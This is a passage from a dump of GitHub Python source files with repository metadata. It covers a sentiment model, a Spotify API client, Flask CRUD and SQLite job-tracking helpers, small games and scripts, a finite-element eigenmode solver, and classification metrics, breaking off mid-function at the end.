# matrix A is the one you want to do mask softmax at dim=1\n A_max = torch.max(A, dim=dim, keepdim=True)[0]\n A_exp = torch.exp(A - A_max)\n A_exp = A_exp * mask.unsqueeze(1) # this step masks\n A_softmax = A_exp / (torch.sum(A_exp, dim=dim, keepdim=True) + 1e-10)\n return A_softmax\n\n\nclass Model(nn.Module):\n def __init__(self, dim_word, dim_hidden, num_class, wordmat, device):\n super().__init__()\n self.wordemb = nn.Embedding.from_pretrained(torch.FloatTensor(wordmat))\n self.context_gru = nn.GRU(dim_word, dim_hidden, bidirectional=True, batch_first=True)\n self.gate_gru = nn.GRU(dim_word * 2, dim_hidden, bidirectional=True, batch_first=True)\n self.att = FullyAwareAttention(dim_word)\n self.linear = nn.Linear(dim_hidden * 2, num_class)\n self.device = device\n\n def forward(self, context_ids, context_masks, aspect_ids, aspect_masks):\n context = self.wordemb(context_ids)\n\n aspect = self.wordemb(aspect_ids)\n\n gate_input = torch.cat([context, self.att(context, aspect, aspect, aspect_masks)], -1)\n sentiment, _ = self.context_gru(context)\n gate, _ = self.gate_gru(gate_input)\n out = sentiment * gate\n out = out.transpose(1, 2)\n out = F.max_pool1d(out, out.size(2)).squeeze(2)\n out = self.linear(out)\n return out\n\n\nclass ParamGenerator(nn.Module):\n def __init__(self, dim_in, dim_out):\n super().__init__()\n self.dim_in = dim_in\n self.dim_out = dim_out\n self.linear1 = nn.Linear(dim_in, dim_out * dim_out)\n self.linear2 = nn.Linear(dim_in, dim_out)\n\n def forward(self, x):\n '''\n :param x: batch, dim_in\n :return: W batch, dim_out, dim_out\n B batch, dim_out\n '''\n W = F.relu(self.linear1(x)).view(-1, self.dim_out, self.dim_out)\n B = F.relu(self.linear2(x))\n return W, B\n","repo_name":"Cppowboy/absc","sub_path":"model/bigru_gate.py","file_name":"bigru_gate.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"27768659435","text":"import requests, datetime, base64,SongLibrary, requests, os\nfrom helpers import shorten_str\n\n\nuri = os.environ.get('uri')\n\nclass User(object):\n def __init__(self, name, user_id, uri, image, top_tracks, current_song, top_artist, latest_recommendation,last_saved):\n self.name = name\n self.user_id = user_id\n self.image = image\n self.uri = uri\n self.top_tracks = top_tracks\n self.current_song = current_song\n self.top_artists = top_artist\n self.last_saved = last_saved\n self.latest_recommendation = latest_recommendation\n\n\nclass SpotifyApi(object):\n client_id = os.environ.get('client_id')\n client_secret = os.environ.get('client_secret')\n post_url = \"https://accounts.spotify.com/api/token\"\n scope = \"playlist-modify-public playlist-modify-private user-library-read playlist-read-private user-read-currently-playing user-modify-playback-state user-top-read\"\n get_url = \"https://accounts.spotify.com/authorize\"\n\n def __init__(self, code=None):\n self.user = User(None, None, None, None, None, None, None, None, None)\n self.code = code\n self.header = None\n \n\n\n def login_url(self):\n get_params = {\n \"client_id\": self.client_id,\n \"response_type\": \"code\",\n \"redirect_uri\": uri,\n \"scope\": self.scope\n }\n request = requests.get(url=self.get_url, params=get_params)\n return request\n\n def get_client_credentials(self):\n \"\"\"\n Returns a base64 encoded string\n \"\"\"\n client_creds = f\"{self.client_id}:{self.client_secret}\"\n client_creds_b64 = base64.b64encode(client_creds.encode())\n return client_creds_b64.decode()\n\n def set_code(self, code):\n self.code = code\n\n def get_token(self):\n \"\"\"\n second part of logging in\n \"\"\"\n headers = {\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"Authorization\": \"Basic \" + self.get_client_credentials()\n }\n body = {\n \"grant_type\": \"authorization_code\",\n \"code\": self.code,\n \"redirect_uri\": uri,\n }\n request = requests.post(self.post_url, headers=headers, data=body)\n if request.status_code not in range(200, 299):\n print(\"First Login Failed, Status Code: \" + request.status_code)\n return False\n data = request.json()\n now = datetime.datetime.now()\n # print(data)\n access_token = data['access_token']\n expires_in = data['expires_in'] # seconds\n expires = now + datetime.timedelta(seconds=expires_in)\n self.access_token = access_token\n self.access_token_expires = expires\n self.access_token_did_expire = expires < now\n self.header = {\n \"Accept\": \"application/json\",\n \"Content-Type\": \"application/json\",\n \"Authorization\": \"Bearer \" + self.access_token\n }\n return True\n\n def get_user_data(self):\n request = requests.get(\"https://api.spotify.com/v1/me\", headers=self.header)\n if request.status_code not in range(200, 299):\n print(str(request.status_code) + \"is the status code for get user data\")\n return False\n # print(request.json())\n self.user.name = request.json()[\"display_name\"]\n self.user.user_id = request.json()[\"id\"]\n self.user.uri = request.json()[\"uri\"]\n if request.json()[\"images\"]:\n self.user.image = request.json()[\"images\"][0][\"url\"]\n else:\n self.user.image = \"https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQOWwtsGvuHl9CxFrQDLG0C-XXU9lpnLIY0jzohdM2I1g1DvjnOo8f1p7v9g7ad26mkXgs&usqp=CAU\"\n return True\n\n def get_last_saved(self):\n request = requests.get(\"https://api.spotify.com/v1/me/tracks\",\n headers=self.header)\n request_json = request.json()\n songlist = []\n for song in request_json[\"items\"]:\n song = SongLibrary.Song(\n name=shorten_str(song['track']['name']),\n album=song['track']['album']['name'],\n artist=song['track']['album']['artists'][0]['name'],\n release_date=song['track']['album']['release_date'],\n image=song['track']['album']['images'][1]['url'],\n link=song['track']['external_urls']['spotify'],\n popularity=song['track']['popularity'],\n id=song['track']['id'],\n uri=None\n )\n songlist.append(song)\n self.user.last_saved = songlist\n return songlist\n\n def recently_played(self):\n request = requests.get(\"https://api.spotify.com/v1/me/player/currently-playing?market=IL\",\n headers=self.header)\n if request.status_code == 204:\n print(\"recently played is None\")\n return None\n if request.status_code not in range(200, 299):\n print(str(request.status_code) + \"is the status code for get user data\")\n return None\n request_json = request.json()\n song = SongLibrary.Song(\n name=shorten_str(request_json['item']['name']),\n artist=request_json['item']['artists'][0]['name'],\n album=request_json['item']['album']['name'],\n release_date=request_json['item']['album']['release_date'],\n image=request_json['item']['album']['images'][1]['url'],\n link=request_json['item']['external_urls']['spotify'],\n popularity=request_json['item']['popularity'],\n id=request_json['item']['id'],\n uri = request_json['item']['uri']\n )\n self.user.current_song = song\n return song\n\n def skip_to_next_song(self):\n request = requests.post(\"https://api.spotify.com/v1/me/player/next\",\n headers=self.header)\n return self.recently_played()\n \n\n def get_top_tracks(self):\n request = requests.get(\"https://api.spotify.com/v1/me/top/tracks?time_range=medium_term&limit=20&offset=0\",\n headers=self.header)\n request_json = request.json()\n song_list = [None] * 20\n for song in range(0, 20):\n song_list[song] = SongLibrary.Song(\n name=shorten_str(request_json[\"items\"][song]['name']),\n album=request_json[\"items\"][song]['album']['name'],\n artist=request_json[\"items\"][song]['album']['artists'][0]['name'],\n release_date=request_json[\"items\"][song]['album']['release_date'],\n image=request_json[\"items\"][song]['album']['images'][1]['url'],\n link=request_json[\"items\"][song]['external_urls']['spotify'],\n popularity=request_json[\"items\"][song]['popularity'],\n id=request_json['items'][song]['id'],\n uri=request_json['items'][song]['uri']\n\n )\n self.user.top_tracks = song_list\n self.get_top_artists()\n return song_list\n\n def get_track_seeds(self):\n return self.user.top_tracks[0].id\n\n def get_artist_seed(self):\n result = self.user.top_artists[0].id\n result += \",\"\n result += self.user.top_artists[1].id\n return result\n\n def get_top_artists(self):\n request = requests.get(\"https://api.spotify.com/v1/me/top/artists?time_range=medium_term&limit=20&offset=0\",\n headers=self.header)\n request_json = request.json()[\"items\"]\n artists = []\n for artist in request_json:\n artists.append(SongLibrary.Artist(\n name=artist['name'],\n followers=artist['followers']['total'],\n genres=artist['genres'],\n link=artist['external_urls']['spotify'],\n id=artist['id'],\n image=artist['images'][1]['url'],\n popularity=artist['popularity']\n ))\n self.user.top_artists = artists\n self.get_artist_seed()\n return artists\n\n def get_genres(self):\n request = requests.get(\"https://api.spotify.com/v1/recommendations/available-genre-seeds\",\n headers=self.header)\n request_json = request.json()\n return request_json['genres']\n\n def get_recommendation(self, genres, popularity, danceability, energy):\n seed_artists = self.get_artist_seed()\n seed_tracks = self.get_track_seeds()\n seed_genres = genres\n min_danceability = danceability - 0.2\n max_danceability = danceability + 0.2\n min_popularity = popularity - 20\n max_popularity = popularity + 20\n min_energy = energy - 0.2\n max_energy = energy + 0.2\n\n request = requests.get(\"https://api.spotify.com/v1/recommendations\",\n headers=self.header,\n params={\n \"limit\": \"10\",\n \"market\": \"IL\",\n \"seed_artists\": seed_artists,\n \"seed_genres\": seed_genres,\n \"seed_tracks\": seed_tracks,\n \"min_danceability\": min_danceability,\n \"max_danceability\": max_danceability,\n \"min_energy\": min_energy,\n \"max_energy\": max_energy,\n \"min_popularity\": min_popularity,\n \"max_popularity\": max_popularity\n })\n if request.status_code not in range(200, 299):\n print(\"Could Not get Reccomendations, Status Code: \" + str(request.status_code))\n return False\n else:\n tracks = request.json()['tracks']\n if len(tracks) > 0:\n recommendation = []\n for track in tracks:\n song = SongLibrary.Song(\n name=track['name'],\n artist=track['artists'][0]['name'],\n link=track['album']['external_urls']['spotify'],\n image=track['album']['images'][1]['url'],\n album=track['album']['name'],\n id=track['id'],\n popularity=track['popularity'],\n release_date=None,\n uri=track['uri']\n )\n recommendation.append(song)\n self.user.latest_recommendation = recommendation\n return recommendation\n else:\n return False\n\n def make_playlist(self):\n request = requests.post(f\"https://api.spotify.com/v1/users/{self.user.user_id}/playlists\",\n headers=self.header,\n data=\"{\\\"name\\\":\\\"Latest Recommendations\\\",\\\"description\\\":\\\"Based On What You Hear\\\",\\\"public\\\":false}\")\n if request.status_code not in range(200, 299):\n print(\"Could Not Make Playlist, Status Code: \" + str(request.status_code))\n return False\n playlist_id = request.json()['id']\n uris = \"\"\n for item in self.user.latest_recommendation:\n if item:\n uris += item.uri\n uris += \",\"\n\n request = requests.post(f\"https://api.spotify.com/v1/playlists/{playlist_id}/tracks\",\n headers=self.header,\n params={\n \"uris\":uris\n })\n if request.status_code not in range(200, 299):\n print(\"Could Not Add to Playlist, Status Code: \" + str(request.status_code))\n return False\n playlist_url = \"https://open.spotify.com/playlist/\" + playlist_id\n return playlist_url\n\n\n","repo_name":"itaycohen97/Spotify-Web-App","sub_path":"SpotifyApi.py","file_name":"SpotifyApi.py","file_ext":"py","file_size_in_byte":12069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9806714290","text":"from UI import *\nimport sys\n\n\ndef main(): \n # Check for file path\n if len (sys.argv) == 1: \n err_msg = \"NO FILE NAME\"\n raise(FileNotFoundError(err_msg))\n\n file_path = sys.argv[1]\n\n db_object = SQLite(file_path)\n ui = UI(db_object)\n \n ui.inf_loop_function()\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"mv-yurchenko/terminal_db_browser","sub_path":"db_browser.py","file_name":"db_browser.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21903332323","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@Version: 0.1\n@Author: Charles\n@Time: 2022/11/5 10:05\n@File: __init__.py.py\n@Desc: \n\"\"\"\nimport json\nimport os\n\nimport torch\nfrom transformers import BertConfig\n\nfrom .bert import Bert\nfrom .sbert import SBert\nfrom .losses import *\n\n\ndef build_model(model_name, pretrain_dir, best_name='best.ckpt'):\n model = eval(model_name)\n if (pretrain_dir and not os.path.exists(os.path.join(pretrain_dir, 'pytorch_model.bin'))) or (best_name != 'best.ckpt'):\n config_path = os.path.join(pretrain_dir, 'config.json')\n with open(config_path, 'r', encoding='utf-8') as f:\n json_data = json.load(f)\n bert_config = BertConfig(**json_data)\n model = model(bert_config)\n model_path = os.path.join(pretrain_dir, best_name)\n print('load model: ', model_path)\n state_dict = torch.load(model_path)\n # 旧训练的模型\n new_state_dict = {}\n for k, v in state_dict.items():\n if not k.startswith('model.'):\n new_state_dict['model.' + k] = v\n model.load_state_dict(new_state_dict)\n elif pretrain_dir:\n print('load model: ', pretrain_dir)\n model = model.from_pretrained(pretrain_dir)\n else:\n print('load model: bert-base-chinese')\n model = model.from_pretrained('bert-base-chinese')\n return model\n\ndef build_loss():\n pass","repo_name":"CharlesWu123/TextSimilarity","sub_path":"models/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"31007190713","text":"from flask import jsonify\n\nfrom src.database import db\n\n\nclass CRUD:\n def __init__(self, model):\n self.model = model\n\n def create(self, data):\n try:\n new_instance = self.model(**data)\n db.session.add(new_instance)\n db.session.commit()\n db.session.refresh(new_instance)\n return {\"id\": new_instance.id, \"message\": \"Record created successfully\"}\n except Exception as e:\n db.session.rollback()\n return jsonify({\"error\": str(e)})\n\n def get_by_id(self, item_id):\n item = db.session.query(self.model).get(item_id)\n if not item:\n return jsonify({\"error\": f\"{self.model.__name__} not found\"})\n return jsonify(item.serialize())\n\n def update(self, item_id, data):\n item = db.session.query(self.model).get(item_id)\n if not item:\n return jsonify({\"error\": f\"{self.model.__name__} not found\"})\n for key, value in data.items():\n setattr(item, key, value)\n db.session.commit()\n db.session.refresh(item)\n return jsonify({\"message\": f\"{self.model.__name__} updated\"})\n\n def delete(self, item_id):\n item = db.session.query(self.model).get(item_id)\n if not item:\n return jsonify({\"error\": f\"{self.model.__name__} not found\"})\n db.session.delete(item)\n db.session.commit()\n return jsonify({\"message\": f\"{self.model.__name__} deleted\"})\n\n def list_all(self):\n items = db.session.query(self.model).all()\n if not items:\n return jsonify({\"error\": f\"No {self.model.__name__} found\"})\n return jsonify([item.serialize() for item in items])\n","repo_name":"vdtheone/trendythreads","sub_path":"src/common_crud/crud.py","file_name":"crud.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5799168501","text":"import pyautogui\nif __name__==\"__main__\":\n #color may change due to browser theme\n obstacle_color = (172,172,172)\n dino_color = (172,172,172)\n xd,yd= 636,291\n #checks if dino game is open\n if dino_color== pyautogui.pixel(xd,yd):\n while True:\n #when it detects obstacle passing through (x,y) jump\n x, y = 729,288\n current_color= pyautogui.pixel(x,y)\n if current_color == obstacle_color:\n pyautogui.press('space')\n","repo_name":"StouAi/dino_autogame","sub_path":"dino_game.py","file_name":"dino_game.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73178637043","text":"import subprocess\nfrom typing import List\n\n\ndef run_external_command(command: List[str]) -> str:\n \"\"\"Wrapper to ease the use of calling external programs\"\"\"\n process = subprocess.Popen(command, text=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n output, _ = process.communicate()\n ret = process.wait()\n if output:\n print(output)\n if ret != 0:\n raise RuntimeError(\"Command returned non-zero exit code %s!\" % ret)\n return output\n\n\n# Read the current status\nsnap_status = run_external_command([\"snapcraft\", \"status\", \"sabnzbd\"])\n\nif not snap_status:\n raise ValueError(\"No information to parse\")\n\n# To store the version and number of released items\narch = None\nreleased_items = 0\n\n# Parse line-by-line\nfor line in snap_status.splitlines():\n split_line = line.split()\n\n # First line has 1 extra word\n if \"latest\" in split_line:\n split_line.remove(\"latest\")\n\n # Only care for the lines that have the revision and the arch\n if len(split_line) == 5:\n arch = split_line[0]\n if arch not in (\"amd64\", \"arm64\", \"armhf\"):\n # Don't care about this arch\n arch = None\n\n # Line that has the channel and the revision, but not the arch\n if len(split_line) == 4:\n # Do we have an arch that we care about?\n if arch and split_line[0] == \"edge\":\n # Release this version\n run_external_command([\"snapcraft\", \"release\", \"sabnzbd\", split_line[2], \"stable\"])\n released_items += 1\n\n# We expect to release something, crash if not\nif not released_items:\n raise ValueError(\"No releases updated! Is this expected?\")\n","repo_name":"sabnzbd/sabnzbd","sub_path":"snap/local/release_snap.py","file_name":"release_snap.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":1989,"dataset":"github-code","pt":"75"} +{"seq_id":"70862926322","text":"\"\"\"\nSolve the resonant cavity problem with Whitney forms.\n\nReferences:\n Douglas N. Arnold and Richard S. Falk and Ragnar Winther\n \"Finite element exterior calculus: from Hodge theory to numerical\n stability\"\n Bull. Amer. Math. Soc. (N.S.), vol. 47, No. 2, pp. 281--354\n DOI : 10.1090/S0273-0979-10-01278-4\n\n\"\"\"\nfrom pydec import simplicial_complex, d, delta, whitney_innerproduct, \\\n simplex_quivers\nfrom numpy import loadtxt\nfrom scipy import real, zeros\nfrom scipy.linalg import eig\nfrom matplotlib.pylab import quiver, figure, triplot, show\n\n# Read in mesh data from files and construct complex\nvertices = loadtxt('vertices.txt', dtype=float)\ntriangles = loadtxt('triangles.txt', dtype=int)\nsc = simplicial_complex((vertices,triangles))\n\n# Construct stiffness and mass matrices \nK = sc[1].d.T * whitney_innerproduct(sc,2) * sc[1].d\nM = whitney_innerproduct(sc,1)\n\n# Eliminate Boundaries from matrices\nboundary_edges = sc.boundary()\nnon_boundary_edges = set(sc[1].simplex_to_index.keys()) - set(boundary_edges)\nnon_boundary_indices = [sc[1].simplex_to_index[e] for e in non_boundary_edges]\n\n# Eliminate boundary conditions\nK = K[non_boundary_indices,:][:,non_boundary_indices]\nM = M[non_boundary_indices,:][:,non_boundary_indices]\n\n# Compute eigenvalues and eigenvectors\n# (could use sparse eigenvalue solver instead)\neigenvalues, eigenvectors = eig(K.todense(), M.todense())\n\n# Plot eigenvalues\nNUM_EIGS = 50 # Number of eigenvalues to plot\nvalues = sorted([x for x in real(eigenvalues) if x > 1e-10])[0:NUM_EIGS]\nax = figure().gca()\nax.set_title('First ' + str(len(values)) + ' Eigenvalues\\n\\n')\n# ax.hold(True)\nax.plot(values,'ko')\n\n# Plot the eigenvector 1-cochain as a vector field\nN = 2 # Which non-zero eigenvector to plot?\nnon_zero_values = real(eigenvectors[:,list(eigenvalues).index(values[N])])\nall_values = zeros((sc[1].num_simplices,))\nall_values[non_boundary_indices] = non_zero_values\nbases, arrows = simplex_quivers(sc,all_values)\nax = figure().gca()\nax.set_title('Mode #' + str(N+1))\nax.quiver(bases[:,0],bases[:,1],arrows[:,0],arrows[:,1])\nax.triplot(sc.vertices[:,0], sc.vertices[:,1], sc.simplices)\nax.axis('equal')\n\nshow()\n\n","repo_name":"hirani/pydec","sub_path":"Examples/ResonantCavity/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"75"} +{"seq_id":"28073812961","text":"import os\n\nimport numpy as np\nfrom cv2 import imread, resize\nfrom optical_flow import * \nfrom common import classes\nimport re\n\ndef atoi(text):\n return int(text) if text.isdigit() else text\n\ndef natural_keys(text):\n '''\n alist.sort(key=natural_keys) sorts in human order\n http://nedbatchelder.com/blog/200712/human_sorting.html\n (See Toothy's implementation in the comments)\n '''\n return [ atoi(c) for c in re.split(r'(\\d+)', text) ]\n\n\ndef convert(path_in, path_out):\n for i in classes:\n path = os.path.join(path_in, i)\n path_optical = os.path.join(path_out, i)\n if not os.path.exists(path_optical):\n os.makedir(path_optical)\n for j in range(100):\n rgb_file = 'rgb' + j + '.npy'\n optical_file = 'flow' + j + '.npy'\n print(os.path.join(path, rgb_file))\n\n\n\nif __name__ == '__main__':\n path_in = 'processed'\n path_out = 'processed_flow'\n convert(path_in, path_out)\n","repo_name":"shreyanse081/Human_Action_Recognition","sub_path":"Action Classification/convert_optical.py","file_name":"convert_optical.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"42774501630","text":"import re\r\nfrom collections import Counter\r\nfrom nltk.corpus import stopwords\r\n\r\n\r\nwith open('file.txt', 'r') as f:\r\n text = f.read()\r\n# Split the text into individual words\r\nwords = re.findall(r'\\w+', text.lower())\r\n\r\n# Remove stop words\r\nstop_words = set(stopwords.words('english'))\r\nwords = [word for word in words if word not in stop_words]\r\n\r\n# Calculate the frequency of each word in the text\r\nword_freq = Counter(words)\r\n\r\n# Split the text into individual sentences\r\nsentences = re.split(r'[.!?]', text)\r\n\r\n# Calculate the total number of words in each sentence\r\nsentence_word_count = [len(re.findall(r'\\w+', sentence.lower())) for sentence in sentences]\r\n\r\n# Calculate the score of each word\r\nword_score = {}\r\nfor word in word_freq.keys():\r\n word_degree = 0\r\n for sentence, word_count in zip(sentences, sentence_word_count):\r\n if word in sentence.lower():\r\n word_degree += word_count\r\n word_score[word] = word_degree / word_freq[word]\r\n\r\n# Sort the words by score\r\nsorted_words = sorted(word_score.items(), key=lambda x: x[1], reverse=True)\r\n\r\n# Extract the top keywords\r\nkeywords = []\r\nfor word, score in sorted_words[:10]:\r\n if len(word) > 1:\r\n keywords.append(word)\r\n\r\nprint(keywords)\r\n","repo_name":"brokeugir1/Rake","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71065968242","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Dec 23 14:52:08 2022\n\n@author: Ander\n\"\"\"\nimport pandas as pd\nfrom Ler_dados_raytracing_plots import maximum_flux, ler_dados_rt, forward_backward, raytrancing_parametros\n\n\nphase = \"ascendente\"\nparame, dado = raytrancing_parametros(phase, start = None, end = None) \n\nout = []\n\nfor i in range(len(dado)):\n df = dado[i][0]\n \n hora_inicial, _, _ = tuple(parame[i])\n \n max_flux_time, max_flux_alt, flux_max, _, _, _ = maximum_flux(df, phase)\n hora = max_flux_time/3600 + hora_inicial\n out.append([hora, max_flux_alt, flux_max])\n \n\nres = pd.DataFrame(out, columns = [\"time\", \"alt\", \"fm\"])\n\nimport matplotlib.pyplot as plt\n\n\nfor x in res.columns:\n for y in res.columns:\n if x == y:\n break\n else:\n fig, ax = plt.subplots(figsize =(5, 5))\n ax.plot(res[x], res[y], \"o\")\n ax.set(ylabel = y, xlabel = x)","repo_name":"andersonbilibio/plots","sub_path":"histogramas.py","file_name":"histogramas.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"8393353393","text":"#Step 5\nfrom replit import clear\nimport random\nfrom hangman_words import word_list\nfrom hangman_art import stages, logo\n\nprint(\"Welcome to hangman game \\n\")\nprint(logo)\n\n# pick a random word_list\nchosen_word = random.choice(word_list)\nprint(chosen_word)\n\n#replace the characters with dashes\ndisplay = []\nfor char in chosen_word:\n display += '_'\n\n#initalize number of lives\nlives = 6\nend_game = False\nalready_guess = []\n\nwhile not end_game:\n if \"_\" in display:\n\n guess = input(\"Guess a letter in the word: \").lower()\n clear()\n\n if guess not in already_guess:\n if guess in chosen_word:\n for i in range(len(chosen_word)):\n if guess == chosen_word[i]:\n display[i] = guess\n else:\n lives -= 1\n print(f\"The letter you chose is not in the word\\n\")\n else:\n print(f\"You have already guessed the letter {guess}\\n\")\n\n already_guess += guess\n\n print(f\"{' '.join(display)}\")\n print(stages[lives])\n\n if lives == 0:\n print(f\"Game over, the word was {chosen_word} you lose\")\n end_game = True\n\n else:\n print(\"Game over, you win\")\n end_game = True\n","repo_name":"Sugitha9022/Python","sub_path":"hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"889437070","text":"# Database interface for net-harvest\n#\n# Author: kodavx86\n# Created: 02.19.2018\n\nimport sqlite3, time, json\n\n# Globals\nDATABASE = '/home/net-harvest/database/db.sqlite'\n\ndef create_job():\n # Connect to the database\n conn = sqlite3.connect(DATABASE);\n cursor = conn.cursor();\n\n # Insert new job row\n data = (int(time.time()),'waiting');\n cursor.execute(\"INSERT INTO Jobs (start_time,status) VALUES(?,?)\", data);\n rowid = cursor.lastrowid;\n\n # Commit the new job\n conn.commit();\n\n # Close the database connection\n conn.close();\n\n # Return the new job id\n return rowid;\n\ndef update_job(job_id, status, end_time=None):\n # Connect to the database\n conn = sqlite3.connect(DATABASE);\n cursor = conn.cursor();\n\n # Update the job status\n if end_time is None:\n data = (status, job_id);\n cursor.execute(\"UPDATE Jobs SET status = ? WHERE ID = ?\", data);\n else:\n data = (status, end_time, job_id);\n cursor.execute(\"UPDATE Jobs SET status = ?, end_time = ? WHERE ID = ?\", data);\n\n # Commit the new job\n conn.commit();\n\n # Close the database connection\n conn.close();\n\n return True;\n\ndef add_ping_result(job_id, address):\n # Connect to the database\n conn = sqlite3.connect(DATABASE);\n cursor = conn.cursor();\n\n # Insert new icmp row\n data = (job_id, address, 'icmp');\n cursor.execute(\n \"INSERT INTO Network (job_id,ip_address,protocol) VALUES(?,?,?)\", data);\n\n # Commit the new icmp data\n conn.commit();\n\n # Close the database connection\n conn.close();\n\n return;\n\ndef add_tcp_result(job_id, address, port, service, data=None):\n # Connect to the database\n conn = sqlite3.connect(DATABASE);\n cursor = conn.cursor();\n\n # Insert new tcp row\n if data is not None:\n params = (job_id, address, 'tcp', port, service, data);\n cursor.execute(\n \"INSERT INTO Network (job_id,ip_address,protocol,\" \\\n \"port,service,data) VALUES(?,?,?,?,?,?)\", params);\n else:\n params = (job_id, address, 'tcp', port, service);\n cursor.execute(\n \"INSERT INTO Network (job_id,ip_address,protocol,\" \\\n \"port,service) VALUES(?,?,?,?,?)\", params);\n\n # Commit the new tcp data\n conn.commit();\n\n # Close the database connection\n conn.close();\n\n return;\n\ndef get_job_data(job_id):\n # Connect to the database\n conn = sqlite3.connect(DATABASE);\n conn.row_factory = sqlite3.Row;\n cursor = conn.cursor();\n\n # Get the job data\n params = (job_id,);\n cursor.execute(\"SELECT status, ip_address, protocol, port, service, data\" \\\n \" from Jobs LEFT OUTER JOIN Network on Jobs.id = Network.job_id\" \\\n \" where Jobs.id = ?\", params);\n\n # Prepare the data\n j_data = {'status' : None, 'discover' : {}};\n for row in cursor:\n j_data['status'] = row['status'];\n if row['ip_address'] in j_data['discover'].keys():\n j_data['discover'][row['ip_address']].append(\n {\n 'protocol' : row['protocol'],\n 'port' : row['port'],\n 'service' : row['service'],\n 'data' : row['data']\n }\n );\n else:\n j_data['discover'][row['ip_address']] = [\n {\n 'protocol' : row['protocol'],\n 'port' : row['port'],\n 'service' : row['service'],\n 'data' : row['data']\n }\n ];\n\n return json.dumps(j_data);\n\ndef delete_job(job_id):\n # Connect to the database\n conn = sqlite3.connect(DATABASE);\n cursor = conn.cursor();\n\n # Delete the job with job_id\n params = (job_id,);\n cursor.execute(\"DELETE FROM Jobs WHERE id = ?\", params);\n\n # Commit the job deletion\n conn.commit();\n\n # Close the database connection\n conn.close();\n\n return;\n\n","repo_name":"kodavx86/net-harvest","sub_path":"core/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":3947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1488026482","text":"from typing import Optional\nimport numpy as np\n\n\ndef cls_metrics(y_true: list, y_pred: list, top_k: Optional[int] = None) -> dict[str, float]:\n \"\"\"Расчет классификационных метрик для первых топ-k предсказаний.\n\n Args:\n y_true: истинные классы.\n y_pred: предсказания, отсортированные в порядке важные (самые важные вначале),\n предсказания должны содержать как минимум top_k элементов.\n top_k: кол-во первых предсказаний, по которым будут считаться метрики.\n Если top_k = None, то берется срез размером с y_true.\n\n Returns:\n dict: словарь с расчитанными метриками.\n\n Examples:\n >>> cls_metrics([1, 2, 3, 4], [1, 4, 5, 6, 7], 2) # doctest: +ELLIPSIS\n {'precision': 0.5, 'recall': 1.0, 'f1': 0.666...}\n\n >>> cls_metrics([1, 2, 3, 4], [1, 4, 5, 6, 7], 4)\n {'precision': 0.5, 'recall': 0.5, 'f1': 0.5}\n\n \"\"\"\n top_k = top_k or len(y_true)\n if len(y_pred) < top_k:\n raise ValueError(f'y_pred must contain at least top_k={top_k} elements.')\n\n y_pred = y_pred[:top_k]\n\n results = {\n 'precision': precision(y_true, y_pred),\n 'recall': recall(y_true, y_pred),\n 'f1': f1_score(y_true, y_pred),\n }\n\n return results\n\n\ndef avg_precision(y_true: list, y_pred: list, max_k: int = 20) -> float:\n \"\"\"Расчет усредненной точности.\n Расчитывается среднее между разными precision,\n каждое из которых берется по топ i пердсказний,\n где i берется от 1 до max_k.\n\n Args:\n y_true: истинные классы.\n y_pred: предсказания, отсортированные в порядке важные (самые важные вначале).\n max_k: максимальн��е кол-во первых предсказаний, по которым будут считаться метрики.\n\n Returns:\n float: значение метрики.\n\n Examples:\n >>> avg_precision([1, 2, 3], [1, 4, 5]) # doctest: +ELLIPSIS\n 0.333...\n\n >>> avg_precision([1, 2, 3], [4, 5, 1]) # doctest: +ELLIPSIS\n 0.111...\n\n >>> avg_precision([1, 2, 3], [5, 1, 3]) # doctest: +ELLIPSIS\n 0.388...\n\n >>> avg_precision([1, 2, 3], [2, 1, 3])\n 1.0\n\n \"\"\"\n y_pred = y_pred[:max_k]\n m = min(len(y_true), len(y_pred))\n precision = 0\n relevant_preds_num = 0\n for i, pred in enumerate(y_pred, start=1):\n if pred in y_true:\n relevant_preds_num += (pred in y_true)\n precision += relevant_preds_num / i\n\n return precision / m\n\n\ndef precision(y_true: list, y_pred: list) -> float:\n \"\"\"Возвращает точность рекомендательной системы.\n\n Args:\n y_true: истинные классы.\n y_pred: предсказания модели.\n\n Examples:\n >>> precision([1, 2, 3], [1, 4, 5]) # doctest: +ELLIPSIS\n 0.333...\n\n >>> precision([1, 2, 3], [1, 2, 5, 4]) # doctest: +ELLIPSIS\n 0.666...\n\n \"\"\"\n return len(np.intersect1d(y_true, y_pred)) / 